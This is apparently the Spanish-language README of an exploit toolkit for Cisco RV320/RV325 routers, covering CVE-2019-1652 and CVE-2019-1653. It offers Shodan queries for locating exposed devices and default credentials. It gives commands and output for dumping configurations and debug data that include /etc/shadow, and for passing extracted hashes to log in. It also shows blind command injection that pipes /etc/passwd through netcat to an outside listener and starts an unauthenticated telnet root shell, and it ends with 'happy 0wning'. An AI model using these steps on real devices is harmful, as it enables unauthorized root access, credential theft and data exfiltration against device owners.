
CVE-2019-1652 / CVE-2019-1653 Exploits para volcar configuraciones y datos de depuración de Cisco RV320 ¡Y exploit de root remoto!
Exploits CVE-2019-1653/CVE-2019-1652 para volcar configuraciones de Cisco RV320 y obtener RCE
Implementaciones de los exploits CVE-2019-1652 y CVE-2019-1653 divulgados por Red Team Pentesting GmbH.
Solo probé estos en un RV320, pero según el aviso de Cisco, el RV325 también es vulnerable.
Las siguientes consultas de Shodan parecen encontrarlos, si tienes curiosidad sobre cuántos hay. Parece que hay bastantes...
ssl:RV320
ssl:RV325
port:161 RV325
port:161 RV320
Las vulnerabilidades permiten lo siguiente:
Como nota al margen, las credenciales predeterminadas son cisco:cisco.
Para el exploit de volcado de configuración, solo establece objetivo, puerto, ssl activado/desactivado y directorio de salida. Volcará la configuración allí.
$ python dump_config.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config! Writing to output/x.x.x.x_8443.conf
$
Para el exploit de volcado de datos de depuración, es la misma rutina, pero los datos volcados son más grandes y están cifrados.
Querrás descifrarlos usando el script "decrypt.sh" proporcionado, o manualmente usando openssl. Esto te dará un archivo tar.
La salida de depuración no solo obtiene la configuración, sino también copias de seguridad de /etc y /var, y sí, el archivo /etc/shadow/ está presente.
Eventualmente reescribiré el script de descifrado en Python, pero esto fue un apaño rápido.
$ python dump_debug.py -t x.x.x.x -p 8443 -s -d output
{+} Sending request to https://x.x.x.x:8443/cgi-bin/export_debug_msg.exp
{*} We seem to have found a valid encrypted config! Writing to output/x.x.x.x_8443.enc
$ ./decrypt.sh output/x.x.x.x_8443.enc
Cisco Encrypted Debug Data Decryption Script!
{+} Decrypting output/x.x.x.x_8443.enc
{+} Plaintext should be at output/x.x.x.x_8443.enc.decrypted.tar.gz...
$
Usando las credenciales que obtienes de estos (hasheadas) puedes luego explotar CVE-2019-1652 para ejecutar comandos en el dispositivo.
Algunas notas sobre el "hasheo" de la contraseña, antes de continuar. En estos, en el archivo de configuración, encontrarás una variable llamada PASSWD seguida de un hash md5.
Este hash md5 es md5($password.$auth_key), donde auth_key es un valor estático que puedes encontrar haciendo un GET / y analizando.
Hay uno aparentemente común que codifiqué directamente en el exploit de RCE como respaldo por si falla la absurda expresión regular del analizador de página.
CVE-2019-1652 describe una vulnerabilidad trivial de inyección de comandos de shell, que requiere autenticación. exec_cmd.py implementa esto, asumiendo que tienes credenciales de inicio de sesión válidas. "cisco:cisco" es el valor predeterminado, pero también podrías descifrar algunos hashes.
La inyección de comandos es ciega, por lo que no obtendrás ninguna salida. El entorno es una configuración de Busybox increíblemente limitada con un netcat mutilado, y los equipos son mips64, así que no me molesté en escribir un exploit de shell inversa esta vez. Sin embargo, puedes obtener la salida de comandos haciendo cosas como cat /etc/passwd | nc HOST PORT y teniendo un listener en ejecución, o lo que sea.
También puedes inyectar un comando como telnetd -l /bin/sh -p 1337 y conectarte al servicio telnet resultante, que te proporcionará un bonito shell root sin autenticación.
Ejemplo de ejecución del exploit a continuación:
$ python exec_cmd.py -t x.x.x.x -s -p 8443 -U cisco -P cisco -c "cat /etc/passwd | nc x.x.x.x 1337"
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: cat /etc/passwd | nc x.x.x.x 1337
{+} We don't get output so... Yeah. Shits blind.
$
# on listener...
$ nc -lp 1337
root:x:0:0:root:/:/bin/admin
nobody:x:0:0:nobody:/nonexistent:/bin/false
_lldpd:x:501:501:_lldpd:/:/bin/sh
cisco:x:0:0:root:/bin:/bin/admin
$
Así que porque Cisco, en realidad puedes pasar el hash que extraes y obtener una sesión iniciada. Así que escribimos un exploit que extrae el hash y lo pasa.
Se llama easy_access.py. Porque la ruta de los binarios CGI contiene una carpeta llamada "EasyAccess".
Ejemplo de ejecución de EasyAccess a continuación...
$ python easy_access.py -t x.x.x.x -p 8443 -s -c "telnetd -l /bin/sh -p 1337"
{+} Gonna go grab us a config file...
{+} Sending request to https://x.x.x.x:8443/cgi-bin/config.exp
{*} We seem to have found a valid config!
{+} Extracting Creds...
{+} Got user: cisco
{+} Got password (hash): [redacted]
{+} Sending request to https://x.x.x.x:8443/ to extract auth key...
{*} Got auth_key value: 1964300002
{+} Login Successful, we can proceed!
{+} Ok, now to run your command: telnetd -l /bin/sh -p 1337
{+} We don't get output so... Yeah. Shits blind.
$ telnet x.x.x.x 1337
<snip>
BusyBox v1.2.1 (2017.10.30-07:33+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
~ # id
uid=0(root) gid=99(nobody)
~ #
Feliz 0wning, chicos.